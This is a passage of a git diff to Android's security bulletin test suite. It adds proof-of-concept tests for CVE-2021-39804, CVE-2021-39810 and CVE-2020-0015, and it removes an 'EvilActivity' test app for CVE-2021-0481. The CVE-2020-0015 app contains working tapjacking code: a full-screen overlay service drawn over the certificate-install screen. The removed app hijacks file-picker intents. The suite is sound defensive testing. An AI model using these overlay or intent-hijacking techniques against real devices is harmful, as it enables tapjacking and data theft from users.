Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); + + AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java new file mode 100644 index 00000000000..1c1b246b0e5 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.After; +import org.junit.runner.RunWith; +import org.junit.Test; + +import java.util.Arrays; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39804 extends SecurityTestCase { + + /** + * b/215002587 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libheif (As per AOSP code) + * Vulnerable Function: reinit (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 215002587) + @Test + public void testPocCVE_2021_39804() throws Exception { + String inputFiles[] = {"cve_2021_39804.heif"}; + String binaryName = "CVE-2021-39804"; + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = + new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes( + new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit")); + testConfig.config.checkMinAddress(false); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java new file mode 100644 index 00000000000..f9520824b26 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 212610736) + @Test + public void testPocCVE_2021_39810() { + try { + // clearing default payment app component if already set + AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null", + getDevice()); + installPackage("CVE-2021-39810.apk"); + String defaultComponent = AdbUtils.runCommandLine( + "settings get secure nfc_payment_default_component", getDevice()); + AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null", + getDevice()); + assertFalse("Vulnerable to 212610736! Setting default payment app without user consent", + defaultComponent.contains("PocService")); + } catch (Exception e) { + // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine() + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java index 0353c3d6de6..d7a3afc7a6d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java @@ -19,6 +19,7 @@ package android.security.cts; import com.android.compatibility.common.util.MetricsReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.build.IBuildInfo; import com.android.tradefed.config.Option; import com.android.tradefed.testtype.IBuildReceiver; @@ -49,7 +50,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import static org.hamcrest.core.Is.is; -public class SecurityTestCase extends BaseHostJUnit4Test { +public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase { private static final String LOG_TAG = "SecurityTestCase"; private static final int RADIX_HEX = 16; @@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { // account for the poc timer of 5 minutes (+15 seconds for safety) protected static final int TIMEOUT_NONDETERMINISTIC = 315; - private long kernelStartTime; + private long kernelStartTime = -1; private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this); @@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test { getDevice().waitForDeviceAvailable(30 * 1000); } - long deviceTime = getDeviceUptime() + kernelStartTime; - long hostTime = System.currentTimeMillis() / 1000; - assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + if (kernelStartTime != -1) { + // only fail when the kernel start time is valid + long deviceTime = getDeviceUptime() + kernelStartTime; + long hostTime = System.currentTimeMillis() / 1000; + assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + kernelStartTime = -1; + } // TODO(badash@): add ability to catch runtime restart } @@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", - "/dev/st54j*" }; + "/dev/st54j*", "/dev/st21nfc*" }; boolean isDriverFound = false; for(String supportedDriver : supportedDrivers) { if(containsDriver(device, supportedDriver, false)) { diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java index b2dc9b816ac..e44a04ae2b0 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeNotNull; /** Basic sample for unbundled UiAutomator. */ @RunWith(AndroidJUnit4.class) @@ -111,7 +112,7 @@ public class DeviceTest { mContext.startActivity(intent); UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE)); - assertNotNull("Activity under-test was not launched or found!", view); + assumeNotNull("Activity under-test was not launched or found!", view); Log.d(LOG_TAG, "Started Activity under-test."); } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp new file mode 100644 index 00000000000..4efed42a7d6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2020-0015", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml new file mode 100644 index 00000000000..7685c352eba --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml @@ -0,0 +1,36 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2020_0015" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2020_0015" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2020_0015" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert Binary files differnew file mode 100644 index 00000000000..f0a07797f08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml new file mode 100644 index 00000000000..93f9df8faae --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<resources> + <string name="activityNotStartedException">Unable to start the %1$s</string> + <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="certName">Sample Certificate</string> + <string name="dumpsysActivityCmd">dumpsys activity %1$s</string> + <string name="dumpsysActivityException">Could not execute dumpsys activity command</string> + <string name="intentExtraKeyCert">CERT</string> + <string name="intentExtraKeyName">name</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with + SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="rawResOpenError">Could not open the raw resource %1$s</string> + <string name="streamReadError">Could not read from the raw resource cacert</string> + <string name="streamReadWriteException">Error while trying to read from InputStream object + and writing to a ByteArrayOutputStream object</string> + <string name="testPkg">android.security.cts.CVE_2020_0015</string> + <string name="vulActivityNotRunningError">The %1$s is not currently running on the device + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java new file mode 100644 index 00000000000..f42eb7544ad --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java @@ -0,0 +1,141 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2020_0015; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.provider.Settings; +import android.security.KeyChain; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + String testVulnerablePackage = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "overlay service"), e); + } + } + + private void startVulnerableActivity() { + Context context = getApplicationContext(); + assertNotNull(context); + + InputStream inStream = context.getResources().openRawResource(R.raw.cacert); + assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null); + ByteArrayOutputStream outStream = new ByteArrayOutputStream(); + byte[] data = new byte[1024]; + try { + int nRead = inStream.read(data, 0, data.length); + assumeTrue(context.getString(R.string.streamReadError), nRead > 0); + outStream.write(data, 0, nRead); + } catch (Exception e) { + assumeNoException(context.getString(R.string.streamReadWriteException), e); + } + + Intent intent = KeyChain.createInstallIntent(); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getString(R.string.intentExtraKeyName), + context.getString(R.string.certName)); + intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray()); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null); + testVulnerablePackage = ri.activityInfo.packageName; + + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e); + } + } + + @Test + public void testOverlayButtonPresence() { + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Context context = getApplicationContext(); + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + final int launchTimeoutMs = 20000; + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + launchTimeoutMs)) { + overlayDisallowed = true; + } + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage)); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage), + overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java new file mode 100644 index 00000000000..d8563d45db9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2020_0015; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + private Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + mButton = new Button(getApplicationContext()); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml deleted file mode 100644 index eb4890b84aa..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml +++ /dev/null @@ -1,56 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - xmlns:tools="http://schemas.android.com/tools" - package="android.security.cts.CVE_2021_0481" - android:targetSandboxVersion="2"> - - <application> - <uses-library android:name="android.test.runner"/> - - <activity android:name=".EvilActivity" android:exported="true"> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.OPEN_DOCUMENT"/> - <category android:name="android.intent.category.DEFAULT"/> - <category android:name="android.intent.category.OPENABLE"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.CREATE_DOCUMENT"/> - <category android:name="android.intent.category.DEFAULT"/> - <category android:name="android.intent.category.OPENABLE"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.GET_CONTENT"/> - <category android:name="android.intent.category.OPENABLE"/> - <category android:name="android.intent.category.DEFAULT"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/> - <category android:name="android.intent.category.DEFAULT"/> - </intent-filter> - </activity> - - </application> - - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="android.security.cts.CVE_2021_0481" /> - -</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java deleted file mode 100644 index 891bd181084..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java +++ /dev/null @@ -1,199 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts.CVE_2021_0481; - -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -import android.os.SystemClock; -import android.util.Log; - -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import androidx.test.filters.SdkSuppress; -import androidx.test.runner.AndroidJUnit4; -import androidx.test.uiautomator.By; -import androidx.test.uiautomator.UiDevice; -import androidx.test.uiautomator.UiObject2; -import androidx.test.uiautomator.Until; -import androidx.test.uiautomator.BySelector; - -import java.util.List; - -import static org.hamcrest.CoreMatchers.equalTo; -import static org.hamcrest.CoreMatchers.is; -import static org.hamcrest.CoreMatchers.notNullValue; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertFalse; -import static org.junit.Assume.assumeNoException; - -/** - * launch "Settings" app - * set up user photo - */ -@RunWith(AndroidJUnit4.class) -public class DeviceTest { - - class ClickableNotFound extends Exception{ - public ClickableNotFound(String s){ - super(s); - } - } - - private static final String BASIC_SAMPLE_PACKAGE - = "android.security.cts.CVE_2021_0481"; - private static final int LAUNCH_TIMEOUT_MS = 20000; - private static final String TAG = "TAG_2021_0481"; - private static final int IS_FOUND_FLAG = 1; // 0001 - private static final int IS_CHECKED_FLAG = 2; // 0010 - private UiDevice mDevice; - - @Test - public void testUserPhotoSetUp() { - - //set mDevice and go to homescreen - mDevice = UiDevice.getInstance(getInstrumentation()); - mDevice.pressHome(); - - //start "Settings" app - Intent myIntent = new Intent("android.settings.USER_SETTINGS"); - //android.provider.Settings.ACTION_USER_SETTINGS - myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - try{ - getApplicationContext().startActivity(myIntent); - } catch(android.content.ActivityNotFoundException e){ - Log.d(TAG, "Activity to be tested doesn't exist. Test will pass."); - return; - } - - //wait for "User Settings" activity to appear. - SystemClock.sleep(6000); - - //perform UI test steps - try { - - //in "Multiple users" activity showing "Use multiple users" switch - searchAndClick(mDevice, "android:id/switch_widget", 2000); - - //in "Multiple users" activity showing a list of current users, - //look for the first item "android:id/title" on the list showing "You(Owner)" - searchAndClick(mDevice, "android:id/title", 2000); - - //in "Profile Info" dialog window showing clickable user silhouette - //look for clickable android.widget.ImageView object with attributes: - // getContentDescription()=Select photo - // getResourceName()=com.android.settings:id/user_photo - searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000); - - //in unnamed subdialog showing two options: "Take a photo" "Choose an image" - searchAndClick(mDevice, "Choose an image", 6000); - - //in "Browse Files in Other Apps" activity - searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000); - - //Image is chosen as (evilActivity) so we are getting back to - //"Profile Info" dialog window showing clickable user silhouette - //end "Cancel" and "OK" buttons. - //look for "Cancel button and click it" - searchAndClick(mDevice, "Cancel", 2000); - - } catch (ClickableNotFound e){ - Log.d(TAG, e.toString()); - assumeNoException(e); - } - Log.d(TAG, "end of testUserPhotoSetUp()"); - } - - //see what is on screen and click on object containing name - //throw exception if object not found - private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound { - - int ret; - List<UiObject2> objects = mDevice.findObjects(By.clickable(true)); - boolean found = false; - Log.d(TAG, "looking for " + name); - Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables"); - - if(objects != null){ - for (UiObject2 o : objects) { - if((ret=searchAndLog(o, name, "")) !=0 ) - { - found=true; - Log.d(TAG, name + " found"); - if((ret & IS_CHECKED_FLAG) == 0) { - o.click(); - Log.d(TAG, name + " clicked"); - SystemClock.sleep(timeOut); //wait for click result to appear onscreen - } - break; //to avoid androidx.test.uiautomator.StaleObjectException - } - } - } - if(!found) { - throw new ClickableNotFound("\"" + name + "\" not found to click on"); - } - } - - //Search for 'name' in UiObject2 - //returns int flags showing search result: - // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true - // IS_FOUND_FLAG - 'name' matches anything else - private int searchAndLog(UiObject2 o, String name, String prefix){ - - int ret = 0; - String lname = o.getText(); - String cname = o.getClassName(); - String cdesc = o.getContentDescription(); - String rname = o.getResourceName(); - boolean checked = o.isChecked(); - - Log.d(TAG, prefix + "class=" + cname); - Log.d(TAG, prefix + "o.getText()=" + lname); - Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc); - Log.d(TAG, prefix + "o.getResourceName()=" + rname); - Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount()); - - if( rname != null && rname.equals(name) && checked) { - ret |= IS_CHECKED_FLAG; - } - else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) { - ret |= IS_FOUND_FLAG; - } - - if(ret != 0) { - Log.d(TAG, prefix + "found-->" + name); - return ret; - } else { - java.util.List<UiObject2> objects2 = o.getChildren(); - if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) { - for (UiObject2 o2 : objects2) { - if((ret=searchAndLog(o2, name, prefix + "__")) != 0){ - return ret; - } - } - } - } - return ret; - } - -} - diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp index a105e840158..7ff13699738 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp @@ -21,18 +21,17 @@ package { android_test_helper_app { name: "CVE-2021-0523", - srcs: [ - "src/android/security/cts/CVE_2021_0523/PocActivity.java", - "src/android/security/cts/CVE_2021_0523/PocService.java", - ], + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], test_suites: [ "cts", "vts10", "sts", - "general-tests", ], - sdk_version: "system_current", static_libs: [ - "androidx.test.ext.junit", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", ], + sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml index 594e42765e8..e21b9b700fd 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml @@ -20,24 +20,30 @@ android:versionName="1.0"> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> - <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> - <uses-permission android:name="android.permission.WAKE_LOCK" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <application android:allowBackup="true" android:label="CVE-2021-0523" 